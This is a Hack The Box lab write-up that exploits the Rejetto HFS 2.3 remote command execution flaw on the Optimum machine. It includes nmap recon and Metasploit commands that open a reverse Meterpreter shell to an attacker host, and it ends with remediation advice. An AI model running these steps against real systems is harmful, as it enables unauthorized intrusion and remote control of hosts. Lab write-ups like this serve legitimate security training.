Hack The Box - Optimum User Flag

🎯 Objective

Gain an initial shell on 10.10.10.8 by exploiting Rejetto HTTP File Server (HFS) 2.3 remote command execution, and validate access with Meterpreter.

🧩 Environment

• Target: 10.10.10.8 (HTB Optimum)
• Service: Rejetto HttpFileServer 2.3
• OS (from shell): Windows Server 2012 R2 (Build 9600), x64
• Your box tools: dnsrecon, nmap, searchsploit, metasploit

🧭 Strategy

1. Recon to fingerprint services and versions.
2. Confirm HFS 2.3 and shortlist public exploits.
3. Use Metasploit module exploit/windows/http/rejetto_hfs_exec with a reverse Meterpreter payload.
4. Validate shell (getuid, sysinfo) and note quirks.

🔍 Recon

DNS sweep

dnsrecon -n 10.10.10.8 -r 10.10.10.0/24

Port & service detection

nmap -sS -Pn -sV 10.10.10.8

# Output (condensed)
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
Service Info: OS: Windows

Web enum (lightweight)

nmap -Pn -p 80 --script http-enum 10.10.10.8
# (No extra paths of interest discovered)

📚 Vulnerability Research

searchsploit "HTTP File Server 2.3"

Key hits:

• 39161.py — HFS 2.3.x Remote Command Execution (Python)
• 34668.txt — HFS 2.3.x RCE
• 34852.txt — HFS 2.3 a/b/c RCE
• 30850.txt — HFS 2.2/2.3 arbitrary file upload

Chosen path: Metasploit → exploit/windows/http/rejetto_hfs_exec

🚀 Exploitation (Metasploit)

use exploit/windows/http/rejetto_hfs_exec
set RHOST 10.10.10.8
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.X.X
set LPORT 4455
exploit

Observed run (highlights):

[*] Started reverse TCP handler on 10.10.X.X:4455
[*] Using URL: http://0.0.0.0:800/aPrzG0R5eKWK
[*] Sending a malicious request to /
[*] Payload request received: /aPrzG0R5eKWK
[*] Sending stage (1189423 bytes) to 10.10.10.8
[*] Meterpreter session 1 opened (10.10.X.X:4455 -> 10.10.10.8:49162)
[!] Tried to delete %TEMP%\mbSzL.vbs, unknown result

⚠️ Note: The %TEMP%\*.vbs cleanup warning is common on this module; it didn’t impact the session.

✅ Post‑Exploitation Validation

meterpreter > getuid
Server username: OPTIMUM\kostas

meterpreter > sysinfo
Computer        : OPTIMUM
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64
System Language : el_GR
Domain          : HTB
Logged On Users : 1
Meterpreter     : x64/windows

🐞 Quirks & Troubleshooting

• “Buggy” behavior: The module may leave a temp VBS artifact and/or stall on first try. If that happens:
  • Re-run exploit or run with a fresh LPORT.
  • Try the x86 payload if x64 fails, or vice‑versa.
  • Ensure no egress filtering blocks your callback.
• If Metasploit proves inconsistent, the raw Python PoC (39161.py) with a staged PowerShell payload is a viable backup.

🛡️ Defenses / Remediation

• Upgrade/replace HFS; 2.3.x is publicly exploitable.
• Run web services as least‑privileged users; apply AppLocker/Constrained Language Mode for PowerShell.
• Egress-filter outbound connections; monitor for abnormal child processes from HFS.
• WAF/IDS signatures for HFS RCE patterns; implement robust asset management & patching cadence.

📎 Appendix: Raw Commands Used

Recon

dnsrecon -n 10.10.10.8 -r 10.10.10.0/24
nmap -sS -Pn -sV 10.10.10.8
nmap -Pn -p 80 --script http-enum 10.10.10.8
searchsploit "HTTP File Server 2.3"

Metasploit

use exploit/windows/http/rejetto_hfs_exec
set RHOST 10.10.10.8
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.X.X
set LPORT 4455
run

Meterpreter

getuid
sysinfo

✅ Outcome

• Initial foothold: Achieved via HFS 2.3 RCE.
• User context: OPTIMUM\kostas (Meterpreter).
• Next steps: Cred dump, privesc enumeration (e.g., winpeas, systeminfo+kernel checks, scheduled tasks, services).